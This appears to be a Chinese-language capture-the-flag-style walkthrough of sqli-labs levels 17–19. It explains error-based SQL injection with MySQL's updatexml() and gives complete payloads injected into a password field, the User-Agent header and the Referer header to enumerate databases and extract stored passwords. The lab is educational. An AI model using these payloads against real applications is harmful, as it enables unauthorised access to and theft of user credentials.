闯关前的知识铺垫
参考链接:
https://www.jb51.net/article/125599.htm
https://www.jb51.net/article/125607.htm
UPDATEXML(XML document,XPath string,new value);
第一个参数:XML document 是String 格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath string(Xpath格式的字符串),如果不了解Xpath语法,可以网上查找。
第三个参数:new value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值。
改变XML document中符合XPATH string的值
而我们的注入语句为:
select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);
其中concat()函数是将其连接成一个字符串,因此不会复合XPATH string的格式,从而出现格式错误,报出
ERROR 1105(HY000):XPATH syntax error:‘~Dumb~’
LESS17
我们在17关的源码中加入以下代码。
加入这两行是为了便于观察,在执行操作后,显示源码
我们进入17关观察以下
这次是密码重置了,也就是修改密码。
同样我们通过burp抓到post的数据包
uname=admin&passwd=adimin&submit=Submit
代码中使用了get_magic_quotes_gpc name和password分开验证,而且在验证的时候对于name进行了过滤处理,将’进行了转义,所以只能在password处注入。
首先我们要知道用户的名字(前提)然后才可以接着进行下面的操作,即在password处进行sql注入。
通过上面补充的知识。我们来构造sql注入语句。
select updatexml(1,concat(0x7e,(构造语句)),1);
select updatexml(1,concat(0x7e,(构造语句),0x7e),1); 跟上面就是多了个~而已 也就是0x7e
构造语句中填写的就是老生常谈的查库查表查列查字段了,但是要注意在最后面加上 limit0,1
查找当前所在数据库:
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(database())),1)#&submit=Submit
查库
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 7,1),0x7e),1)#&submit=Submit
查表
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security‘ limit 3,1),0x7e),1)#&submit=Submit
查列
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users‘ limit 4,1),0x7e),1)#&submit=Submit
查字段
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),1)#&submit=Submit
这样输入竟然错误了,提示我们 你不能在FROM句子中为update 指定目标表 users
网上查一下结局方法
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select password from (select password from security.users limit 0,1)users),0x7e),1)#&submit=Submit
应该是不可以直接查询security.users 要select 查security 才可以,用两个选择(select)
LESS18
刚刚进入18关,通过我们常用的admin 登录,竟然登录失败了,原来是我们在17关把admin的密码更改了,所以登录不上去。我们可以在首页点击第二个,重置数据库,就可以了。
再次登录我们发现登录成功了
通过观察这两次,不难发现
登陆成功:显示ip地址和浏览器版本信息
登陆失败:只显示ip地址
这次我们依旧尝试在密码和账户名后加上 ‘ #,我们发现这次都进行了转意,所以就不能使用sql注入了
18关同样进行输出,最后测试发现可以在http头部user-agent的地方注入。
注意:我在这里使用的都是burpsuite,其实可以用火狐的插件:http header live 虽然用法有区别,但是原理都是一样的。
抓包之后右键发送到Repeater:
然后在数据包的headers部分修改user-agent构造注入语句:
查当前数据库:‘or updatexml(1,concat(0x7e,(database())),1) or ‘1‘=‘1(注意闭合)
或者‘or updatexml(1,concat(0x7e,(database())),1) ,",")# 闭合sql语句
后面的和上一关相同,可以参考。
LESS19
这一关和上一关类似, 登录成功的返回信息变为
Your Referer is: http://localhost/sqli-labs-master/Less-19/
抓包:‘ or updatexml(1,concat(0x7e,(database())),1) and ‘1‘=‘1或者‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)#